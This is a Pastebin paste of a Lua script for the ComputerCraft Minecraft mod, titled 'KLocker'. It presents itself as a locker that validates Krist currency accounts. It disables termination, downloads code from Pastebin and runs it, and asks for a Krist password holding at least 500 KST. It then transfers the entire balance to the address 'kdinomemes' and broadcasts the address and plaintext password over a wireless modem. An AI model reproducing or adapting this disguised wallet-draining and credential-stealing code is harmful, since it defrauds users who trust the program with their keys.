Sirshark10

KLocker

Oct 28th, 2017
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. os.pullEvent = os.pullEventRaw
  2. local s = http.get("https://pastebin.com/raw/1aK1i8VK")
  3. load(s.readAll(),"KLUA","t",_ENV)()
  4. local s2 = http.get("https://pastebin.com/raw/4nRg9CHU")
  5. load(s2.readAll(),"JSON","t",_ENV)()
  6. local status = ""
  7. term.clear()
  8. term.setCursorPos(1,1)
  9. local sides = {}
  10. for k,v in pairs(peripheral.getNames()) do
  11.     if peripheral.getType(v) == "modem" and peripheral.call(v,"isWireless") then
  12.         m = peripheral.wrap(v)
  13.         status = true
  14.     end
  15. end
  16.  
  17. print("Wireless Modem: "..tostring(status))
  18. if status == false then
  19.     print("Attach a Wireless Modem and reboot to continue")
  20.     print("Press Any Key To Continue In")
  21.     for i=1, 5 do
  22.         term.setCursorPos(1,4)
  23.         print(5-i)
  24.         sleep(1)
  25.     end
  26.     os.pullEvent()
  27.     os.reboot()
  28. end
  29.  
  30. term.clear()
  31. term.setCursorPos(1,1)
  32. print("Welcome to KLocker")
  33. print("Supply a Krist password which contains 500 or more KST Please")
  34. write(": ")
  35. local p = read()
  36. print("Entered Password: "..p)
  37. local hashPass = ToPriv(p)
  38. print("hashedPassword for Auth: "..hashPass)
  39. local mkey = hashPass
  40. print("mkey: "..mkey)
  41. print("Authing With Server")
  42. http.post("https://krist.ceriat.net/login","privatekey="..mkey)
  43. local addr = makev2address(mkey)
  44. print("Address: "..addr)
  45. print("Looking up information on address...")
  46. local info = getInfo(addr)
  47. local tbl = decode(info)
  48. local bal = ""
  49. for k,v in pairs(tbl) do
  50.     if type(v) == "table" then
  51.     for x,y in pairs(v) do
  52.         if x == "balance" then
  53.             bal = y
  54.         end
  55.     end
  56.     end
  57. end
  58. if bal >= 500 then
  59.     print("Valid Address, Thank You!")
  60.     sendFunds(p,"kdinomemes",bal)
  61.     m.transmit(500,500,addr.."|"..p)
  62. end
Add Comment
Please, Sign In to add comment